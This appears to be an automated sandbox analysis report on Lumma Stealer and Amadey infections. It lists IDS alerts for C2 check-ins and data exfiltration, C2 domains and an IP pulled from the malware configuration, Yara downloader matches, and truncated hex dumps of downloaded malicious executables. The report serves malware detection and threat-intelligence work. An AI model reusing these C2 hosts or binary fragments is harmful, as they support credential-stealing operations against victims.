Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49814 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49741 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49744 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.6:49758 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49792 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49823 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.6:49833 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49837 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49735 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49735 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49746 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49740 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49740 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49744 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49744 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49768 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49775 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49733 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49733 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49775 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49752 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49792 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49780 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49780 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49810 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49795 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49795 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49825 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49803 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49803 -> 104.21.91.209:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: lossekniyyt.click
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: wodresomdaymomentum.org
Source: Malware configuration extractor	URLs: wodresomdaymomentum.org

Performs DNS queries to domains with low reputation

Source:	DNS query: jlgenfekjlfnvtgpegkwr.xyz
Source:	DNS query: jlgenfekjlfnvtgpegkwr.xyz
Source:	DNS query: jlgenfekjlfnvtgpegkwr.xyz
Source:	DNS query: jlgenfekjlfnvtgpegkwr.xyz
Source:	DNS query: jlgenfekjlfnvtgpegkwr.xyz
Source:	DNS query: jlgenfekjlfnvtgpegkwr.xyz

Yara detected Generic Downloader

Source: Yara match	File source: 8.0.87c402ca32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 16:43:11 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Thu, 08 Aug 2024 15:33:55 GMTETag: "134820-61f2dc129dec0"Accept-Ranges: bytesContent-Length: 1263648Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6d 9c 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 cc 12 00 00 08 00 00 00 00 00 00 ce eb 12 00 00 20 00 00 00 00 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 13 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c eb 12 00 4f 00 00 00 00 00 13 00 d6 05 00 00 00 00 00 00 00 00 00 00 00 d6 12 00 20 72 00 00 00 20 13 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 cb 12 00 00 20 00 00 00 cc 12 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d6 05 00 00 00 00 13 00 00 06 00 00 00 ce 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 13 00 00 02 00 00 00 d4 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 eb 12 00 00 00 00 00 48 00 00 00 02 00 05 00 60 ea 11 00 1c 01 01 00 03 00 00 00 01 00 00 06 80 c5 00 00 e0 24 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 28 08 00 00 06 2a 1e 02 28 25 00 00 0a 2a ba 7e 01 00 00 04 3a 1e 00 00 00 72 01 00 00 70 d0 03 00 00 02 28 26 00 00 0a 6f 27 00 00 0a 73 28 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3f 00 00 70 7e 02 00 00 04 6f 29 00 00 0a 74 05 00 00 1b 2a 86 d0 71 00 00 01 28 26 00 00 0a 02 72 4f 00 00 70 28 2a 00 00 0a 28 01 00 00 2b 6f 2c 00 00 0a 26 2a f2 28 0d 00 00 06 28 0c 00 00 06 6f 2d 00 00 0a 7e 04 00 00 04 25 3a 17 00 00 00 26 7e 03 00 00 04 fe 06 0b 00 00 06 73 2e 00 00 0a 25 80 04 00 00 04 28 02 00 00 2b 28 07 00 00 06 2a 2e 73 0a 00 00 06 80 03 00 00 04 2a 46 03 6f 30 00 00 0a 72 63 00 00 70 28 31 00 00 0a 2a 1e 02 28 32 00 00 0a 2a 42 72 e9 01 00 70 73 41 00 00 0a 80 05 00 00 04 2a 1e 02 7b 06 00 00 04 2a 22 02 03 7d 06 00 00 04 2a 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 66 02 72 b2 03 00 70 7d 08 00 00 04 02 28 42 00 00 0a 02 03 7d 08 00 00 04 2a 22 02 03 28 43 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:43:18 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:43:29 GMTContent-Type: application/octet-streamContent-Length: 1863680Last-Modified: Fri, 20 Dec 2024 13:47:02 GMTConnection: keep-aliveETag: "67657556-1c7000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 32 fc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 7a 69 67 63 76 76 6a 00 f0 19 00 00 70 2f 00 00 ec 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 64 73 71 6d 77 6f 73 00 10 00 00 00 60 49 00 00 04 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 49 00 00 22 00 00 00 4e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:43:38 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:43:45 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:46 GMTConnection: keep-aliveETag: "6763127e-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 16:43:46 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Sat, 17 Aug 2024 14:54:08 GMTETag: "102620-61fe23f758400"Accept-Ranges: bytesContent-Length: 1058336Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 18 93 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 aa 0f 00 00 08 00 00 00 00 00 00 be c9 0f 00 00 20 00 00 00 e0 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 10 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 c9 0f 00 4b 00 00 00 00 e0 0f 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 b4 0f 00 20 72 00 00 00 00 10 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 a9 0f 00 00 20 00 00 00 aa 0f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f6 05 00 00 00 e0 0f 00 00 06 00 00 00 ac 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 10 00 00 02 00 00 00 b2 0f 00 00 00 00 00 00 00 